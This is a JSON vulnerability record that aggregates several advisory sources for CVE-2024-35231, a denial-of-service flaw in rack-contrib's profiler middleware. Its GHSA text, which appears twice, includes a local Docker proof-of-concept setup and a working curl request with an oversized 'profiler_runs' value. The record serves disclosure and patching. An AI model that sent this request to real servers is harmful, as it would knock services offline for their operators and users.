{"id":"CVE-2024-35231","aliases":["EUVD-2024-1519","GHSA-8c8q-2xw3-j869","UBUNTU-CVE-2024-35231"],"status":"published","title":"rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter","description":"rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00668,"percentile":0.52344,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2024-05-27T16:40:08Z","modified":"2026-10-28T02:30:27Z","fixes":[{"ecosystem":"RubyGems","package":"rack-contrib","fixed_in":["2.5.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"rack-contrib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.0"}]}]},{"source":"osv","ecosystem":"RubyGems","package":"rack-contrib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.0"}]}],"versions":["0.9.0","0.9.2","1.0.0","1.0.1","1.1.0","1.2.0","1.2.0.39.g17d21b4","1.3.0","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","2.0.0","2.0.1","2.1.0","2.2.0","2.3.0","2.4.0"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"ruby-rack-contrib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.0-1build1","1.3.0-2","1.3.0-3"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"ruby-rack-contrib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.0-3"]}],"products":[{"vendor":"rack","product":"rack-contrib"}],"references":[{"url":"https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869","tags":["x_refsource_CONFIRM","x_transferred","advisory","web","report"]},{"url":"https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7","tags":["x_refsource_MISC","x_transferred","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35231","tags":["advisory"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack-contrib/CVE-2024-35231.yml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-8c8q-2xw3-j869"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/35xxx/CVE-2024-35231.json","tags":["advisory"]},{"url":"https://github.com/rack/rack-contrib","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2024-35231","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-35231","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2024-35231","title":"rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter","description":"rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.","status":"published","published":"2024-05-27T16:40:08.678Z","modified":"2024-08-02T03:07:46.936Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:34:20.313092Z"}],"euvd":[{"id":"EUVD-2024-1519","description":"rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.","status":"published","published":"2024-05-27T16:40:08Z","modified":"2024-08-02T03:07:46Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T03:50:20.898281Z"}],"ghsa":[{"id":"GHSA-8c8q-2xw3-j869","title":"rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter","description":"### Summary\n\nThe next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).\n\n```ruby\n        runs = (request.params['profiler_runs'] || @times).to_i\n        result = @profile.profile do\n          runs.times { @app.call(env) }\n        end\n```\n\nAn exploit as such `curl --fail \"http://127.0.0.1:9292/?profiler_runs=9999999999\u0026profile=process_time\"` may cause resource exhaution by a remotely controlled value.\n\n### PoC\n\nHerein the `config.ru` file: \n\n```ruby\nrequire 'rack'\nrequire 'rack/contrib'\n\nuse Rack::Profiler # if ENV['RACK_ENV'] == 'development'\n\n# Define a Rack application\napp = lambda do |env|\n  # Your application logic goes here\n  [200, {}, [\"Hello World\"]]\nend\n\n# Run the Rack application\nrun app\n```\n\nA Dockerfile:\n\n```Dockerfile\n# Use the official Ruby image as a base\nFROM ruby:latest\n\n# Set the working directory inside the container\nWORKDIR /app\n\n# Copy the custom config.ru file into the container\nCOPY config.ru .\nCOPY Gemfile .\n\n# Install rack and the gems needed to run the app\nRUN bundle install\n\n# Expose the port that rackup will listen on\nEXPOSE 9292\n\n# Run rackup when the container starts\nENTRYPOINT [\"rackup\",\"--host\",\"0.0.0.0\",\"--port\",\"9292\"]\n\n# Health check\nHEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1\n\n```\n\nA Gemfile \n\n```\nsource 'https://rubygems.org'\n\ngem 'rack', '~\u003e 2.0'\ngem 'rack-contrib', '~\u003e 2.4'\ngem 'rackup'\ngem 'ruby-prof'\n```\n\nA Docker compose\n\n```Dockerfile\nservices:\n  app:\n    build:\n      context: .\n    ports:\n      - \"9292:9292\"\n```\n\nTo run the PoC \n\n```bash\ndocker compose up --build\n```\n\nTo exploit DoS: \n\n```bash\ncurl  \"http://127.0.0.1:9292/?profiler_runs=9999999999\u0026profile=process_time\"\n```\n\n### Impact\n - Potential denial of service by remotely user-controlled data.\n","status":"published","published":"2024-05-28T15:48:43Z","modified":"2024-05-31T20:42:29Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:37:53.025064Z"}],"nvd":[{"id":"CVE-2024-35231","description":"rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.","status":"published","published":"2024-05-27T17:15:09.76Z","modified":"2026-06-17T07:34:35.4Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:10:02.520903Z"}],"osv":[{"id":"CVE-2024-35231","title":"rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter","description":"rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.","status":"published","published":"2024-05-27T16:40:08.678Z","modified":"2026-10-28T02:30:27.27716445Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:44:40.704083Z"},{"id":"GHSA-8c8q-2xw3-j869","title":"rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter","description":"### Summary\n\nThe next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).\n\n```ruby\n        runs = (request.params['profiler_runs'] || @times).to_i\n        result = @profile.profile do\n          runs.times { @app.call(env) }\n        end\n```\n\nAn exploit as such `curl --fail \"http://127.0.0.1:9292/?profiler_runs=9999999999\u0026profile=process_time\"` may cause resource exhaution by a remotely controlled value.\n\n### PoC\n\nHerein the `config.ru` file: \n\n```ruby\nrequire 'rack'\nrequire 'rack/contrib'\n\nuse Rack::Profiler # if ENV['RACK_ENV'] == 'development'\n\n# Define a Rack application\napp = lambda do |env|\n  # Your application logic goes here\n  [200, {}, [\"Hello World\"]]\nend\n\n# Run the Rack application\nrun app\n```\n\nA Dockerfile:\n\n```Dockerfile\n# Use the official Ruby image as a base\nFROM ruby:latest\n\n# Set the working directory inside the container\nWORKDIR /app\n\n# Copy the custom config.ru file into the container\nCOPY config.ru .\nCOPY Gemfile .\n\n# Install rack and the gems needed to run the app\nRUN bundle install\n\n# Expose the port that rackup will listen on\nEXPOSE 9292\n\n# Run rackup when the container starts\nENTRYPOINT [\"rackup\",\"--host\",\"0.0.0.0\",\"--port\",\"9292\"]\n\n# Health check\nHEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1\n\n```\n\nA Gemfile \n\n```\nsource 'https://rubygems.org'\n\ngem 'rack', '~\u003e 2.0'\ngem 'rack-contrib', '~\u003e 2.4'\ngem 'rackup'\ngem 'ruby-prof'\n```\n\nA Docker compose\n\n```Dockerfile\nservices:\n  app:\n    build:\n      context: .\n    ports:\n      - \"9292:9292\"\n```\n\nTo run the PoC \n\n```bash\ndocker compose up --build\n```\n\nTo exploit DoS: \n\n```bash\ncurl  \"http://127.0.0.1:9292/?profiler_runs=9999999999\u0026profile=process_time\"\n```\n\n### Impact\n - Potential denial of service by remotely user-controlled data.\n","status":"published","published":"2024-05-28T15:48:43Z","modified":"2026-09-10T03:50:13.574187132Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:42.077781Z"},{"id":"UBUNTU-CVE-2024-35231","description":"rack-contrib provides contributed rack middleware and utilities for Rack, a Ruby web server interface. Versions of rack-contrib prior to 2.5.0 are vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not constrained to any limitation. This would lead to allocating resources on the server side with no limitation and a potential denial of service by remotely user-controlled data. Version 2.5.0 contains a patch for the issue.","status":"published","published":"2024-05-27T17:15:00Z","modified":"2025-10-24T05:09:12Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:54:50.784131Z"}]}}